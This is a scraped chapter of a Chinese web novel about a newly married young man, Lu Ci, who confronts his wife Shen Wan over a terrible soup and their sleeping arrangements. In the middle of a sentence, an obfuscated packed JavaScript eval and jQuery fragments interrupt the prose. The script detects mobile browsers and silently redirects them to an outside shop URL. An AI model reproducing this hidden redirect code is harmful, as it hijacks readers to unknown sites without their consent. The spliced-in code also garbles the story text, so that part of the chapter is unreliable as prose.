文趣网 > 其他小说 > 二嫁夫君是绿茶 > 4. 第 4 章
    陆辞不知道自己是怎么扔掉手中木拐,强撑着下楼,一步一步走向青面伞下杏裙窈窕的女子。

    等他再回过神来的时候,总之,此时,他已经捧着汤盅重新坐回学室书桌前了。

    依稀想来,当时面前的娘子说了什么,而他自己又如何应答,只是半柱香前的场景,他浑然不太记得清了。

    只记得当时清风拂面,脸颊上隐隐生出刺啦的微烫。

    对,还有潘梁也在身边,那会儿一定是被这潘梁给附身了!

    他有些烦躁地扫了一眼正坐在自己面前的潘梁,眼神带着浓浓的不善。

    潘梁也不甘示弱回瞪了他一眼,忍不住奚落:“喂……只是一盅汤而已,你也不至于感动哭吧?”

    陆辞不想理他,面无表情地抬手,替自己揩去眼角一点濡湿。

    这又是另一回事了。

    他决定收回之前发的誓,再也不说全洛京都找不出比正德书院更难吃的饭食了。

    摆在眼前的是一盅松茸鸡汤,因为在食盒中包裹妥帖,直到现在还保留着恰好入口的温热。

    松茸鲜香,鸡肉滑嫩。

    他丝毫没有防备,甚至还带了一点期待。

    皇天在上,怎么会有人把好好的一盅鸡汤熬得那么咸那么甜那么腻……也就算了,都已经这样了,居然还能辣得人涕泪涟涟又是怎么做到的?

    就这么一口,他那三魂七魄恍惚间好像都看到老祖宗在眼前晃来荡去。

    这是鸡汤吗?分明就是送他上路的孟婆汤吧!?

    见他脸色实在怪异得有些精彩,潘梁伸长了脖子:“没胃口?分我尝点儿?”

    陆辞连忙将汤盅往自己跟前拢了拢:“想喝汤,你还是回自己府上去喝吧。”

    他被提醒到了,在被这汤送去见阎王前,他得把这盅汤处理掉,免得它再祸害人间,于是飞快将汤盅盖上,又原封不动严严实实塞回食盒里头。

    潘梁在一旁冷眼觑他这般护食,酸溜溜道:“我府上可没有贤惠的娘子,亲手炖了羹汤,还巴巴给我送过来。”

    “那你赶紧去娶个贤妻。”

    最后两个字,陆辞咬得很重,也是电光火石之间,他忽然就明白了,这个沈氏,贤名在外,能做出这么一道惨绝人寰的羹汤,必然是在报复他新婚的冷落。

    尽管今日她总是低敛的眉眼,静若秋水,远山含黛,比春风吹起轻絮还要温柔。

    都是做给别人看的,好让他吃了这个闷亏。

    哼,当他是什么好欺负的吗?

    好不容易终于捱到下学时候,外头天色晦暗,陆辞拄着一双木拐迫不及待地出了学堂。

    潘梁一双好腿都快跟不上,也实在看不过去,在他登上马车之前,忍不住拖住他的衣袖:“欸,你现在不是宿在书院了吗?这会儿怎么又要家去了?”

    说着还做出一副恍然大悟的模样:“噢!今日见到你那两块……那新婚妻子,迫不及待要回府了?”

    陆辞气呼呼拂开他:“跟你说了也不懂。”

    他是迫不及待要回府,因为他迫不及待要去找那沈氏算账!

    君子报仇,十年不晚,他陆辞报仇,绝不隔夜!

    只恨马车没有长出八只车轱辘,等回到国公府的时候,天色已经完全黑下来,窗前檐下,处处点灯。

    这是他新婚后第一次回卫国公府,那日府上无处不在的红绸囍字这会儿都清理干净,府上一切与往日无常,可惜就是这样的卫国公府,他只要待在这儿,呼吸到这里的空气,就格外烦躁。

    从国公府的正门到蒹葭院的这路,让他心中的烦躁越来越盛,在推门走进自己房间时,心底的烦躁几乎压抑到极点。

    那晚的红烛早就被撤去,灯台上是寻常的青油灯,不过外头拢了一层轻纱罩,灯火就变得葳蕤可亲,氤氲得房间里都呈现出半暖的颜色。

    还是他生活了多年的房间没有错,只不过很明显添了不少女子所用的妆奁物品,明明多出一个人的生活痕迹,却处处整洁明净尤胜从前,实在是熟悉又陌生得诡异。

    像是一种对他无声的蚕食,这感觉并不好受。

    尤其是,当他看到那晚自己拼凑桌椅将就一夜的位置,被换成了一张美人榻,被褥软枕一应俱全。

    他烦躁得要发火,冲着门外伺候的丫鬟喊:“沈娘子人呢?”

    小丫鬟赶紧一溜烟跑出去唤人。

    陆辞憋着一口气,心底捋了一遍今晚要跟她算的帐,一来她在毫无预兆的情况下去了他的书院,扰他读书清净;二来她故意做那孟婆汤,要送他去见阎王;三来,就是她这样不由分说地鸠占鹊巢!

    等待中,他烦躁地踱了几步,又看见南面的轩窗下多了一张棋盘,盘上棋子错落,是一场还未完成的局。

    他心底又是一阵嗤笑,怎么,她还准备附庸风雅以此来投他所好吗?

    还没来得及多研究一下棋局里的玄妙,就察觉到身后有人进来。

    哼,可算来了。

    带着心底暗暗的摩拳擦掌,一回头,便见沈氏从外面的黑夜款款走进一室葳蕤灯火之中。

    春花照水,皎月临空。

    烛火转明处,她的容颜清晰映于他的眼底。

    陆辞甚至能看清她轻轻覆下的长睫,如不胜风凉的柔弱惊颤,猝不及防在人心底掀起的一阵惊涛骇浪,让他不自觉先往后退了半步。

    烛光在两人身上静静流转,最后还是沈琬先行了一礼:“官人回来了。”

    “……嗯。”

    沈琬心里有些没底,仅有过的短暂接触,她已经见识到眼前这位小郎君的不好相与。

    她一进门就见他背影愤愤然站在屋子里,大概揣测一下,只怕是要回来找她兴师问罪的。

    可她垂着眸子又等了一会,也没听见他出声,一直僵持也不是办法,还是她再度先开了口。

    “婆母实在挂念官人,吩咐我为官人送汤,原本是要让丫鬟去书院悄悄递进去的。不料等马车停稳,待我掀帘下车,抬眼便是正德书院的牌匾了。”

    李嬷嬷安排的马车直接将她送进了正德书院,也是她猝不及防的。

    “噢……无妨。”

    没有想象中的愤怒诘责,沈琬不由得抬眸看了一眼,那道原本正落在她身上的目光,像是触到了什么可怕的邪魔,顿时就撇开看向另一处。

    陆辞握拳抵在唇边轻咳了两声:“我母亲就是这样,总是主意大,做些好心办坏事的事情。”

    沈琬原本只是想解释事情原委,绝不是要离间他们母子的意思,忙补充道:“婆母并不知晓新婚那晚你我二人私下的约定,自有她的考量。这次是我的疏忽,贸然给官人添了些打搅和麻烦。”

    这样清润如泉的声音,这样温柔款款的语气,细细阐述着自己的错处,陆辞纵有天大的火,也被浇得七零八落。

    欸?原来她也是可以一次性说这么多话的?

    不觉间他已经往旁边挪开几步,有些颓丧地坐进那张美人榻中。

    自然熟稔得仿佛这榻是他睡了好多年的旧床。

    “嗯……也行,那你下次多注意些。”

    她毕竟也是寄人篱下,有时候也身不由己,才被母亲摆了这么一道,说来确实是不能怪她,何况她都这么言辞恳切了,他还不依不饶吗?

    罢了,第一笔帐就这么过了。

    现在来算第二笔帐。

    于是陆辞又勉力将脸沉下来:“你今日那盅汤……”

    他在一股脑想了一堆恶毒用词,最后又确认了一遍:“是你亲手做的?”

    沈琬倒是如实答他:“婆母吩咐,自然不该假手于人。”

    但她又何其敏锐,察觉到对方表情言语中的似有不满,还是问了一句:“可是不合官人口味?”

    陆辞置于腿侧的一只手狠狠掐了一把自己:“……倒也还好。”

    那他还能怎么说了?

    人家语气这般诚恳,一双澄澈清眸里看起来一丝杂念都没有,难道他要张口就问“你的孟婆汤要毒死我吗”?

    好歹他也是个读书人,总还是有些修养的,他左看右看也没看出她是在故意恶作剧,如果她这是装出来的,那未免也太能装了吧?

    行,容他先观察观察。

    他还有第三笔帐要算。

    “那你在这房中摆上这榻,是专程留着给我睡的吗?”

    这次他还故意加重了些语气,坐直了身子。

    虽然不知道他的话题为何如此跳跃,但沈琬还是听得出他的兴师问罪,他怎么问,她便也照着答:“这榻是我给自己铺的。”

    陆辞一愣:“你是说,我不在的这几天,你也都睡在这榻上?”

    沈琬点点头:“本来也是我连累了你的婚姻大事,怎还能再鸠占鹊巢?只是眼下还要掩人耳目,我便搭了这张榻,在你府上叨扰一二。”

    难怪,陆辞忽然觉得身下这张美人榻铺得还怪柔软的。

    他手一挥:“罢了,本来新婚那晚就说好了,床铺让给你睡,从今夜开始你就睡床吧。”

    谁让他是男子汉呢。

    沈琬虽然不懂他这番兴师问罪下来,为何总是高高举起又轻轻放下,只道他脾气有些傲心眼却是好,倒也不扭捏,敛着眉眼低声道了声谢:“多谢官人。”

    她知陆辞绝不愿多与她在同一屋檐下多相处,既然事情都解释清楚了,她也不再多留,又告辞一声,便要离开。

    陆辞下意识喊住她:“欸……你,你去哪?”

    “时辰还早,我待就寝的时候再进来,免得多打搅到官人。”

    “噢……”

    眼看着她还是保持面对他的方向,先缓缓地往后退了两三步,拉开两人之间距离后

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17886302|212548||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    ,随着她转过身去,裙摆微漾起的幅度,翩翩在空气里划拉一下。

    “你……等等。”

    快要迈过门槛的纤影顿住,偏过头来,烛火明暗间的侧颜,不知是哪位名师巨匠倾注毕生心血描摹出的剪影。

    陆辞像被什么当头一击,定在原处,一时忘了自己为何要出声将人喊住。

    “官人?”

    一声轻唤像细雨敲打轩窗,他忽然灵台清明,脑子里转得比写应策文章还快,顿时就找到问题的关窍。

    不对!他可是回来算账的!

    就算刚刚那几笔账……先这样吧,但他跟沈氏就能心平气和相安无事了吗?

    休想。

    他腰背笔挺,换了一个看起来还挺严肃的坐姿:“我现在双腿受伤了,身边也离不了人,说来说去我的腿伤也是拜这场婚事所赐,卧房里也不方便旁人进来,那你要贴身看顾照料我才行,算是……算是将功赎过,不枉我受这皮肉之苦吧?”

    见倚在门边的倩影因他的话缓缓转过身来,眉眼比灯火还轻柔,他又抬高了下巴:“我现在行动比往日艰难很多,也不仅是衣食起居,还有读书写字,交际应酬,你都要寸步不离,殷勤周到。”

    沈琬听他一一说完,那语气里又恢复了新婚夜的轻傲执拗,她已然习惯,倒不会因此心怀芥蒂。

    何况他的要求很合理,她借这场婚事自保,他因这场婚事受伤,她理应时时看顾,殷勤照料才是。

    “好,便依官人所言。”

    还是这般毫无波澜的温柔顺从,让人好不容易蓄起的力气,又打在一团软棉花上。

    陆辞才不想让自己再憋屈着,很是显而易见地哼哼不乐:“这个时辰我该上药了,你得替我上药才行。”

    “好。”

    本以为她要唤青云进来送药,不料她反而进了房间,绕过屏风,从博古架上取了药匣,才重新走到美人榻前,将药匣打开。

    里头整整齐齐都是一些药罐和膏药,陆辞一眼就看到摆在最趁手的膏药,正是他这腿每日要上的药。

    他记得他房间里可没有备着这些啊。

    “你……你特地一直备着的?”

    “不知官人何时会回,总还是有备无患。”

    沈琬在他身前半蹲了下来,一双纤纤玉手先取了棉纱,再细致均匀地裹上一层膏药,顿时药香四溢,竟然都沁人心脾起来。

    药香混杂了她身上的淡香。

    而后是一双清凌温柔的眸子抬了起来:“我先替官人把靴子脱了?”

    陆辞自己都没有察觉,原本还硬气的声音,现在支离破碎成什么样:“不……倒也还不必,我自己来……嗯。”

    他想也没想先将衣摆撩到一头,才屈膝抬起一只脚,等指尖碰到鞋面时,脑海中轰然一下,立刻松开了手,那只脚也重新落地,牵动到伤处疼得他咬牙直嘶。

    “官人怎么了?”

    沈琬也被他这样咋咋呼呼的动作唬了一跳,忙去看他,没想到刚倾身往前一点儿,榻上的人简直如临大敌,歪七扭八的身体几乎要蹦跶起来。

    他一边痛得嗷嗷,一边还不忘竖掌阻止她的靠近:“等等……等一下!”

    沈琬静住不动,始终温柔平静的目光里终于带上些许担忧。

    陆辞觉得呼吸困难,总算是在拉开一点距离后恢复喘息,四目相对间,一个惊慌失措,一个茫然不解。

    沈琬虽然知道他对自己十分嫌恶,好歹先前一直都是把话说开了的,只是身体实在骗不了人,确实是靠近一点都会难以自抑的要逃离。

    ……以后还是离他远点。

    陆辞反应过来自己的失态,脑海里又刷刷刷快要写出一篇策论来:“诶呀,伤口青青紫紫的,怕吓到你,还是让青云来吧。”

    “好。”

    沈琬依旧眉眼温和,看不出什么波澜,直到看着她身影彻底走出房间,陆辞才捂着自己胸口,犹如劫后余生般松了口气。

    她以前是有过男人的,可他又没被女人看过。

    不行不行,绝对不行。

    很快青云挠着脑袋进来,就看到自家公子窸窸窣窣坐在榻上,伸长脖子在张望些什么。

    顺着公子的目光看去,原来他在看妆台前的那面铜镜……铜镜中的自己。

    不看不知道,公子面颊上正浮起一丝红晕,在灯下尤为明显。

    再看一眼身边的药匣,他立刻上前:“公子是风寒发热了?”

    陆辞语气一下就冲起来:“什么热不热,我是让你来替我上药!”

    “可是下午不是才上过药吗?郎中说可以明早再……”青云说着,这才看清旁边已经裹上膏药的棉纱,但也更加疑惑:“刚刚是娘子在替公子换药?”

    一提沈琬,陆辞脸色越发不虞。

    “她手脚太笨拙,哪里能做这种细致活。”